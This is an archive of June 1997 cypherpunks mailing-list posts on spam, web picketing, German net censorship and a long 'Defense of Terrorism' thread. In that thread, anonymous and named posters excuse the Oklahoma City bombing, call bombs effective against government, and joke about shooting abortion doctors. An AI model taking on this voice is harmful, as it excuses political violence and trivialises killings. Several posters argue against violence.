From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 13:28:50 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.GSO.3.95.970605132008.27292F-100000@well.com>
Message-ID: <LN1u8D22w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@well.com> writes:

> Yesterday I forwarded questions about spam from a friend who was speaking
> before the FTC next week. Here are most of the replies I received, which
> I've attached below. Some may have appeared here already.
>
> From: glee harrah cady <glee@netcom.com>
> From: Wei Dai <weidai@eskimo.com>
> From: Stanton McCandlish <mech@eff.org>
> From: Robert Moskowitz <rgm3@chrysler.com>
> From: "Halpert, James - DC" <jhalpert@pipermar.com>
> From: Azeem Azhar <aja@economist.com>
> From: Mark Grant <mark@unicorn.com>
> From: Charlie Stross <charlie@public.antipope.org>
> From: Bill Frantz <frantz@netcom.com>
> From: "Shabbir J. Safdar" <shabbir@vtw.org>
> From: djones@insight.dcss.McMaster.CA (David Jones)
> From: wyang@ktel.osc.edu
> From: clinton@annoy.com (Clinton at Annoy)
> From: Eric Murray <ericm@lne.com>
> From: Ray Everett-Church <ray@everett.org>
> From: Chris Poupart <jyhad@odyssee.net>
> From: "Marius  Loots" <MLOOTS@medic.up.ac.za>
> From: Roger Bohn <Rbohn@UCSD.edu>
>

Declan didn't like what I wrote, so he deleted it.
Good journalism.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 6 Jun 1997 14:05:54 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.96.970605235724.23963A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 5 Jun 1997, Bill Stewart wrote:

> Bell's point that government would be much better behaved if the individuals
> in government could be held individually and personally responsible
> for their actions is certainly valid.  Whether shooting them is an 
> appropriate way to hold them responsible is another discussion (:-).

That was the Founding Fathers' point in instituting direct election
of House members every two years. Bell's point, if it was the 
same, entailed murder.  It's not another discusion of ends. It's
a discussion of means, and his means border on the insane.  That
alone doesn't make his idea criminal in a society with a First
Amendment, but the fact that he had an end in common with other
political thinkers doesn't make his means legitimate.

In other words, Bell's point, as you describe it, has nothing
original to say about ends. It's all about means, and as such
it's pretty well whacko. 

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 14:11:13 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706060554.AAA03052@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <199706060440.XAA08064@einstein.ssz.com>, on 06/05/97
   at 11:40 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@amaranth.com>
>> Date: Wed, 04 Jun 97 23:46:16 -0500
>> Subject: Re: Webpage picketing (fwd)

>> Well this is why I had wanted to set the analogies aside. There are some
>> real diferences between cyberspace and your metaspace analogy of the
>> picket line. In cyberspace there is no sidewalk for your picket to stand
>> and for me to pay as little or as much attention as I wish.

>But there is, the publicly funded routers on the publicly funded network
>which are handling public traffic sitting in nice little queues just
>waiting to be processed.

>Perhaps a slightly more complicated setup might make it clearer. Consider
>that we have some length of fiber laying from Chicago to Salt Lake City.
>That fiber is fully owned/funded by the federal government. The two
>routers on the end of the cable are also fully owned. Now from those
>routers extends another network cable that goes to fully privately owned
>networks. Now in Salt Lake City there is a young 14 year old girl that
>just took an at home pregnancy test. It turned up positive and she has
>pretty much lost it. Now in Chicago there is a webpage for an abortion
>clinic. Her sister lives in Chicago. The girl gets on her trusty little
>bit-pusher and proceeds to contact that page from a lookup done in Yahoo.
>Now at this point her parents still think that what you don't know can't
>hurt you and her sister has a vistor for a few days that summer.

>Now ask yourself, does a anti-abortion group have any claim to providing
>that young girl alternate information that is not pro-abortion?

Well yes & no. :)

Yes they have the same free speech right as anyone else. Do they have the
right to force anyone to listen to their speech or force them to
distribute it no. They can put up there own web page and if yahoo choses
to they can provide links to it (thouhg yahoo is not required to do so).
Anyone intrested in listening to what they have to say is free to go to
their web site just as anyone is free to go to the abortion site and read
that info. The anti-abortion group should not be required to present the
views of their opposition and the same for the abortion group.

>Perhaps this will better exemplify the demarcation I am making. I admit
>it is a thin line, but that is all it takes.

>> A more closer analogy between cyberspace and metaspace is that your
>> picketors are not standing off to the side but are blocking the door and
>> the only way I can enter is to read their signs first. This is the point
>> where your picketors have oversteped the bounds of their 1st Amendment
>> rights. While the have the right to picket infront of the store they
>> cannot interfere with the comming and goings of the customers. The has
>> been well tested in the courts. The problem with extending the picket
>> analogy to cyberspace is there are no sidewalks. It's all or nothing.
>> Either you are blocking the door or you are not

>Not at all, blocking implies a stoppage NOT a delay. I suggest you sit
>outside an abortion clinic when the picketers are there. I assure you
>they are up close and personal. The old ruling of 15ft. seperation was
>over-turned just this year I believe. It is true that they may not block
>you but they are allowed to delay your journey slightly with civil
>coverage. I further belive the court would look at the nature of the
>Internet and the structure of the web and determine that a single page at
>the very beginning or perhaps a small splash screen first would not be an
>unwarranted imposition.

Well down here in Pensacola where we like to shoot abortion doctors I
beleive that there is a 50' seperation (other side of the street). I don't
know how the courts would rule but from past rulling against picketors
interfering with the customers of a business I would tend to dissagree. To
be honest I am not up on which way the wind is blowing in the courts on
this issue.

I do feel that the delay is unconstutional. It is where the fine line
between your and my 1st amendment rights cross. The size and amount of
delay is irrelevant from a constitutional standpoint (can't be a little
bit pregnet can't be a little bit unconstitional).

This is where are disagreement over the picket analogy rest. Inoreder for
the picket analogy to be extended to cyberspace it requires me to download
someone's elses speech before I can download the speech that I want to
hear. In metaspace there is a sidewalk for the picketers to stand and I
can pass them by without slowing down never hearing what they have to say.
Here localy I have them well trained, when they see my vette they know not
to block the driveway as I will not slow down for them (actually the sound
of the 427 is enought to get them moving off to the side).

>I want to make it clear, I am a strict Constitutionalist. I don't see the
>government having the delegated authority to spend any public money on
>the Internet, human cloning, BATF, DEA, etc. I believe strongly that such
>enterprises are best left fully in the state and individuals care. I most
>definitely believe that were the 9th and 10th Amendment interpreted and
>used actively we would see a massive decline in government intervention
>and as a consequence lower taxes.

Never questioned it. :)

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html -
---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)"William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 6 Jun 1997 22:47:07 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing
Message-ID: <199706061436.KAA18298@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 06 Jun 97 00:24:59 -0500, "William H. Geiger III" 
<whgiii@amaranth.com> said:

>Well down here in Pensacola where we like to shoot abortion doctors I
>beleive that there is a 50' seperation (other side of the street).

Actually, this law was lobbied for by Zeiss Optical.  They're trying
to increase sales of rifle scopes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 6 Jun 1997 00:42:02 +0800
To: cypherpunks@toad.com
Subject: (Fwd) RE: McVeigh? Nimrods.....
Message-ID: <199706051628.AAA15396@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




At 3:50 PM -0700 6/4/97, Paul Bradley wrote:
>> Like my fellow Santa Clara County Resident Bill Frantz said :
>>
>> For cypherpunks this comes down to: Make code, not bombs.
>
>True, code will lead to further liberation in the virtual communities,
>but bombs are an effective device for ending the corrupt tyrannical
>government that rules us.

    It is my contention that, in the present circumstances, bombs
    are not effective devices for ending the corrupt tyrannical
    government which rules us.  They are much more likely to make
    enemies for "our cause" than they are to physically stop the
    government.  Does the phrase, "Bomb throwing anarchist" give you
    the feeling of hero, or of villain?  Most people will answer
    villain, and killing people is not likely to change their minds.

Anyone head of Non-Violent Action (NVA) ?
Seems to me writing and disseminating Code is a pretty effective form 
of NVA

Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 18:31:54 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706061010.DAA32035@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> 
> Consider, for example, a Black child in the United States who dies of
> a trivial curable disease because of the lack of health care.

  The attempts of Hallam-Baker II Esquire Jr. Knight of the Realm,
etc., to separate the world into supporters of "good" child murderers
and supporters of "bad" child murderers, reflects the attitudes that
lead to those who feel disenfranchised by the government and society
to decide that they have little to lose by striking out at the system
in one way or another.
  Dimitri raises a deeply valid issue here which goes to the heart of
defining what separates a "bean counter" from a "child-murdering 
monster."

  We can't save everyone dying of an incurable disease and provide 
health care for everyone, except at great cost. We can't put in place
airline safety measures or monitor the activities of law enforcement 
agencies for free.
  The government officially puts the price of a human life at 2.5
million
dollars. When a safety problem is found with an aircraft, for example,
that is the figure used to calculate whether the problem will be fixed
or allowed to take X number of human lives. The same concept applies to
government and corporate decisions regarding worker safety (or death),
public safety (or death), health care (or death), and a multitude of
other issues.
  The same thing applies to warfare and self-defence, as well. Society,
government, corporations and individuals all "count the cost" of the
various options available to settle a conflict. A person who might kill
another to prevent them from stealing their family's life savings would
probably not kill another to prevent them from stealing their lunch box.
And a person who would kill another to prevent them from stealing their
family's life savings might not kill another to prevent them from 
stealing *your* life savings.

> Joe Stalin himself took part in several spectacular terrorist acts in
> his youth, which resulted in deaths of dozens of "innocent bystanders".

  Who is the murdering monster--Stalin, Reagan, or McVeigh? It depends
on
whether you ask Newt Gingrich, Saddam Hussein or Joe Oklahoma.
  Are the government and corporate bean-counters who decide not to fix
known safety problems murdering monsters? What if they placed the value
of a human life at *ten* dollars? A *million* dollars?
  Americans aren't outraged over the loss of life, they are merely self-
servingly objecting to the fact that they are being personally presented
with the bill that is coming due for their government's actions. Even
some of those objecting are merely arguing over the "cost" of the bill.
(i.e. - death count, age of victims)

  If McVeigh had whacked out 168 Iranians to free one American hostage,
he would be an American hero. If he had whacked out 168 Americans to
free the U.S. from a Stalinist takeover, he would be a hero.
  Well, he whacked out 168 Americans to free our minds from the belief
that we will bear no personal cost for the aggression and oppression
that the government perpetrates in our name, and to some he is a hero.


  Hallam-Baker would have us believe that anyone who does not roundly
condemn McVeigh is in favor of the death of children. Like Truman,
Churchill and Roosevelt were in favor of the death of children?
  Unless Hallam-Baker wants to propose that everyone who has ever
supported conflict in support of a cause is in favor of the death of
children, then he is just a horse's ass who uses smear tactics where
logic fails.
 
> What I'm driving at is: someone said earlier that Cypherpunks don't make
> bombs, Cypherpunks write code. Well, my response is, if you write code
> for anonymous electronic commerce that seriously challenges the gubmint,
> in a free market environment, then the gubmint will first try to regulate
> it out of existence, and if it fails, it will use whatever force is
> necessary, including jailing and shooting people, to fight for it survival.

  "I didn't put them in the ovens, I just wrote the code that releases
the gas. What kind of monster would bomb a Weapons Laboratory that has
a day-care center in it?"
  The question mainstream America is asking, is:
"What kind of monster would break *my* eggs to make an omlette?"

  What kind of monster would write code that allows someone to send 
email containing child pornography anonymously? What kind of monster 
would write code that can be used to hide drug transactions? What kind
of monster  would write code that can be used by terrorists who break 
*my* omlettes to avoid discovery?
  Hallam-Baker and his ilk want the government to serve them their 
omlette at the dinner table so that they can deny their knowledge of and
complicity in other people's eggs being broken in the kitchen. Then they
can climb on their high horse and complain loudly when the victims of
the government's fraud and abuse decide to break a few eggs themself.

  I'm not in favor of the death of children in Waco, Oklahoma City,
Dublin, Jerusalem, Dresden, or Hiroshima. For Hallam-Baker to suggest
that I and others on the list are is the height of slanderous hypocrisy.
  It is a reality of life that there is a cost associated with freedom
and with life itself. It is up to each of us to make our own decision
as to whether we will take part in determining who pays, and how much,
or whether we delegate those decisions to others and try to distance
ourself from them.

  We can applaud the L.A. police when they tell "white" lies on the 
witness stand about "little" things like not considering the husband of
a murder victim a suspect when they climb over his fence, but then we
will end up complaining when someone we think is a murderer remains
unconvicted because the jury can't determine where the lying stops and
the truth begins.
  We can justify an armed government assault on "cultists" who are in
possession of fewer guns than many mainstream Christians, but then we
will end up complaining when someone else who is "outside" the
mainstream decides that what is good for the gander is good for the
goose.

  The issue of Waco versus OKC is not one of "good" guys and "bad" guys.
It is a difference of opinion over the cost of freedom and the value of
human life. 168 people at 2.5 million/life comes to about one and three-
quarter billion dollars that we paid for the tragedy at Waco.
  Americans seem to be more than willing for citizens of other countries
to bear the cost of freedom when we decide to invade and attack them in
order to protect democracy, etc. Perhaps McVeigh should have bombed the
Iranians to protest Waco--then he might be an American hero...maybe even
the next President--a white Colin Powell.
  If Americans want to cry out in dismay over the "wrong" people being
held accountable for the tragedy in Waco, then they might want to think
about demanding that the "right" people be held accountable in the face
of future government atrocities.
  Perhaps the real anger over the OKC bombing is that the American
people
thought that we had managed to skip out on the bill for our government's
actions at Waco, only to be tracked down and made to pay at home.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Church <iwar@iwar.org>
Date: Fri, 6 Jun 1997 21:51:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: JIWAR Registration
In-Reply-To: <199706061120.EAA17123@shell2.ba.best.com>
Message-ID: <33981288.52B0@iwar.org>
MIME-Version: 1.0
Content-Type: text/plain



Confirmed





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: William Church <iwar@iwar.org>
Date: Fri, 6 Jun 1997 22:27:25 +0800
To: cypherpunks@toad.com
Subject: Re: JIWAR Registration
In-Reply-To: <199706061346.GAA16919@shell2.ba.best.com>
Message-ID: <3398199A.1C04@iwar.org>
MIME-Version: 1.0
Content-Type: text/plain



Confirmed with username cypherpunk1






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 23:03:26 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy-loving Europeans are at it again
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03102804afbdd3e3c49f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:19 AM -0700 6/6/97, John Young wrote:
>The New York Times reports on page one the German
>prosecution of a woman who linked her home page to
>Radikal. It reviews XS4ALL's role, describes Radikal
>and its mirror sites and links to them all:
>
>   http://www.nytimes.com/library/cyber/week/060697germany.html
>
>It says that Kohl is determined to find a way to police the
>Net in spite of technical work-a-rounds.
>
>Recall a previous report that Kohl and other heads of state are
>to meet in Denver on June 20-22 to plan a global attack
>on "cyber-terrorism," including the spread of encryption:
>
>   http://jya.com/denver.htm


Wait a minute, John! Aren't these the same Europeans described by Marc
Rotenberg as being more privacy- and liberty=loving than Americans?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 6 Jun 1997 21:13:45 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970605101214.2888A-100000@westsec.denver.ssds.com>
Message-ID: <11LV8D23w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes <jim.burnes@ssds.com> writes:
> > One of the many interesting contributions Joe Stalin made to the Marxist
> > theory was the observation that the class struggle intensifies as the
> > old mode of production becomes obsolete; and that there's really no differe
> > between "terrorist acts" and government-sponsored violence and economic
> > deprivation.  You might view the second statement as the generalization of
> > Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
> > policy by other means.
>
> Well couldn't class struggle simply mean the difference between wielding
> large quantities of power and not.

Stalin claimed (and I agree) that when the ruling classes are facing loss of
power, even due to purely market forces, they will resort to violence to try
to keep their poer: first government regulation/taxation to suppress the new
technologies/modes of production, and when it fails, jailing and killing those
who challenge them.

Imagine a very primitive society on some sort a of Pacific Island, where
people live in relative deprivation and obey the Chief, whose main duties are
to deflower the virgins, and to allocate the meager coconut harvest "fairly".
Some bright islander invents a way to grow many times as much coconut as
before, making the Chief unneeded (say, he discovers that if you shit on the
roots of the palm tree, it acts as a fertilizer :-). The Chief will try to use
whatever means are at his disposal to preserve his power, starting with
regulatory (declaring that to shit on palm tree roots is blasphemy), to
extreme violence (punishing such blasphemy by torture and death), because the
invention, even though non-violent, threatens his rule.

Get it?

Now replace "shitting on palm tree roots" with "anonymous digital commerce".

> If thats the case then Stalin was
> the ultimate hypocrite when his wonderful revolution attained of
> temporary system of government.  That system of government was unstable
> in that in failed to allow people to provide for their own and each
> other's welfare through free market activity.

Irrelevant to what I was talking about.

> As resistance to centralized modes of production increased (especially
> with the farmers), the central government systematically starved 20
> million people to death.

Irrelevant to what I was talking about, and not quite true.

(The number of farmers starved to death was at most 6 million; many others
died elsewhere. Yes, Stalin used arguments such as the one I cited as the
theoritical justification for the forcible farm collectivization (actually
invented by Trotsky :-)).

> Reminds me a lot of Orwell's "Animal Farm".
>
> Though I do agree in principle with the idea that corruption runs rampant
> at the end of a megapolitical era (for more or less the same reasons),
> Stalin was not the first to have this idea.   For a run-down on this
> concept check out the much-maligned "Sovereign Individual".
>
>
> > Consider, for example, a Black child in the United States who dies of
> > a trivial curable disease because of the lack of health care. Consider
> > the child's parents who labor "off the books" in menial jobs, who are
> > deprived by the state from the ability to marry, to work "on the books",
> > to hold a bank account, et al. Is being deprived from the results of one's
> > labor that different from being sold at an auctioned and whipped in
> > a public ceremony to terrify other (wage) slaves?
> >
>
> No.  I agree with you here.  I think the difference is in the resolve
> of the individuals under this kind of pressure.
>
> > Joe Stalin himself took part in several spectacular terrorist acts in
> > his youth, which resulted in deaths of dozens of "innocent bystanders".
>
> make that millions

Not in his youth.

Before Stalin got in the position of ordering his minion to kill millions
of people, he used to be a "hands-on" terrorist - blowing up Tsarist
officials, robbing banks, killing numbers of "innocent bystanders".

> > Prepare for crypto to be criminalzed.
>
> definitely.  but under what system of law?  for all practical purposes the
> constitution is null and void.  the people that run this country do so
> under the guise of constitutionalism, but its all a grand facade.  the
> whole idea of the current government is a type of consensual reality.
> (literally so, perhaps?)  When enough people agree that the version of
> reality no longer serves them, they will agree that it doesn't exist.
>
> This, of course, assumes they have the power to alter it.

Under the same system of law that criminalizes mj, sex for teenagers,
"sodomy" between concenting adults, driving over 55, tax evasion, et al.

> > Prepare for the former cpunks who
> > "sold out" (C2Net and the like) to support criminalization of crypto use
> > within the U.S. in exchange for a possible relexation of export rules.
>
> I'm not sure I understand why you assert that C2Net "sold out".  I was
> probably out of town at the time this discussion went down.

Yes - review the list archives. C2Net supports criminalizing domestic use of
encryption for the first time, and also sends threatening lawyer letters to
security experts who question their products.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 20:47:52 +0800
To: cypherpunks@toad.com
Subject: NYT on German Net Police
Message-ID: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times reports on page one the German
prosecution of a woman who linked her home page to 
Radikal. It reviews XS4ALL's role, describes Radikal
and its mirror sites and links to them all:

   http://www.nytimes.com/library/cyber/week/060697germany.html

It says that Kohl is determined to find a way to police the
Net in spite of technical work-a-rounds.

Recall a previous report that Kohl and other heads of state are 
to meet in Denver on June 20-22 to plan a global attack
on "cyber-terrorism," including the spread of encryption:

   http://jya.com/denver.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Lucas <davidlu@sco.COM>
Date: Fri, 6 Jun 1997 15:46:43 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: TV Commercial
In-Reply-To: <v03102804afb1690a6994@[207.67.207.179]>
Message-ID: <3.0.2.32.19970606083424.007b6100@middx.x.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



At 14:09 05/06/97 -0700, you wrote:
>Today on TV, I saw an advertisement.
>
>Image:	Two ships exchanging searchlight-type signals.
>
>Voiceover:
>	It's common sense, really.
>	You should be able to communicate with anyone
>	without worring about the security of your communications.
>
>	Sprint PCS. Secure digital communications.

It's a nice thought, but the image is all wrong. Two ships communicating
via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
isn't what I would call very secure communication.

Still, what do the ad-men know?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
               David Lucas - Test Engineer @ SCO Cambridge.
                          E-mail: davidlu@sco.com

 Opinions expressed within this message are my own and do not necessarily
            represent those of my employer * I am not a lawyer
--------------------------------------------------------------------------
        The light at the end of the tunnel is an oncoming train...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 7 Jun 1997 01:09:49 +0800
To: David Lucas <mclow@owl.csusm.edu>
Subject: Re: TV Commercial
In-Reply-To: <v03102804afb1690a6994@[207.67.207.179]>
Message-ID: <v03007844afbde7341de8@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:34 AM -0700 6/6/97, David Lucas wrote:
>It's a nice thought, but the image is all wrong. Two ships communicating
>via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
>isn't what I would call very secure communication.

Well, the Japanese managed to keep secure communications when sneeking up
on Pearl Harbor, and I assume they used something similar for ship-to-ship
communications.  Narrow beam, and everyone who can receive is in sight is
nice.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 7 Jun 1997 00:45:27 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: NYT on German Net Police
In-Reply-To: <1.5.4.32.19970606121923.008fab1c@pop.pipeline.com>
Message-ID: <v03102801afbdeb999ffd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:40 AM -0700 6/6/97, Robert Hettinga wrote:
>At 8:19 am -0400 on 6/6/97, John Young wrote:
>
>
>> Recall a previous report that Kohl and other heads of state are
>> to meet in Denver on June 20-22 to plan a global attack
>> on "cyber-terrorism," including the spread of encryption:
>>
>>    http://jya.com/denver.htm
>
>Wow. What an opportunity for street theater *that* might be...
>
>Anyone up for a little road-trip?
>
>Yeah, I know. Everyone *else* has a *job*, or something... :-).

No, I don't have a job.

But there's no way in hell I'm going to expose myself to imprisonment in a
German jail to make some metaphorical point about the resurgence of fascism
in Germany.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 7 Jun 1997 03:43:33 +0800
To: cypherpunks@toad.com
Subject: Thomases lose appeal in second case
Message-ID: <3.0.1.32.19970606095702.0073a340@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember the Amateur Action BBS case from 1994, when Robert Thomas
got convicted by a Federal court in Tennessee for distributing pornography
on his BBS in California?  Well, he was also prosecuted in Utah 
for distributing pornography from the BBS (the Merc doesn't say if it 
was a state or federal prosecution, but it looks like state),
and he just lost his appeal in Federal court.  One of his defense arguments
was double jeopardy, and the court rejected that because the
Utah court busted him for different pictures than the Tennessee court.
While distributing child pornography is reprehensible, it's still
none of Utah's business; the ACLU lawyer defending Thomas says there's
no evidence that any Utah citizens actually downloaded any (except the
police).



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 7 Jun 1997 00:25:11 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970606095903.6481A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> (The number of farmers starved to death was at most 6 million; many others
> died elsewhere. Yes, Stalin used arguments such as the one I cited as the
> theoritical justification for the forcible farm collectivization (actually
> invented by Trotsky :-)).
> 

Thanks for the correction.  (geez...how often is that heard on this
group  ;-)  )

> > > Prepare for crypto to be criminalzed.
> >
> > definitely.  but under what system of law?  for all practical purposes the
> > constitution is null and void.  the people that run this country do so
> > under the guise of constitutionalism, but its all a grand facade.  the
> > whole idea of the current government is a type of consensual reality.
> > (literally so, perhaps?)  When enough people agree that the version of
> > reality no longer serves them, they will agree that it doesn't exist.
> >
> > This, of course, assumes they have the power to alter it.
> 
> Under the same system of law that criminalizes mj, sex for teenagers,
> "sodomy" between concenting adults, driving over 55, tax evasion, et al.
> 

I understand, but my point was that at some point the system of "law" 
became simply a system of supplicating the masses and no longer serves
justice.  When the system of law ceases to be a system of law and becomes
of system of corruption I no longer refer to it as law.  Important
Orwellian distinction.  Never let the bastards control the definitions and
language.

Clear thought on most matters can only occurr when the definitions
are clear and true.  If I said that my house was a thing with no
roof, no electricity, but it had a good cable hook-up, I may never
know what a real house is.  But I may sense the need to keep the 
rain off my head.

Oh well.  Its a hard thing to describe.

I guess its like the whole liberal debate on "assault weapons".  They even
have the conservative pro-gun types talking in those terms.  When your
opponent controls the language of the debate, they have already won.

> > > Prepare for the former cpunks who > > > "sold out" (C2Net
and the like) to support criminalization of crypto use

I said: I'm not sure I understand why you assert that C2Net "sold out". I
was probably out of town at the time this discussion went down.

You said: Yes - review the list archives. C2Net supports criminalizing
domestic use of  encryption for the first time, and also sends threatening
lawyer letters to  security experts who question their products.

If this is true (the bit about supporting criminalization of crypto) it
contradicts everything I know about Parekh.  Im not saying its not
possible, but did they really just come out and say it??

The part about using lawyers to threaten the people who question the
quality of their products is slimy, but predictable.

If you can give me a pointer to the relavent part of the archives
I'd appreciate it.

Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 7 Jun 1997 00:33:26 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: NYT on German Net Police
In-Reply-To: <v03020990afbdd12dbf13@[139.167.130.246]>
Message-ID: <Pine.LNX.3.95.970606102400.6481B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Robert Hettinga wrote:

> At 8:19 am -0400 on 6/6/97, John Young wrote:
> 
> 
> > Recall a previous report that Kohl and other heads of state are
> > to meet in Denver on June 20-22 to plan a global attack
> > on "cyber-terrorism," including the spread of encryption:
> >
> >    http://jya.com/denver.htm
> 
> Wow. What an opportunity for street theater *that* might be...
> 
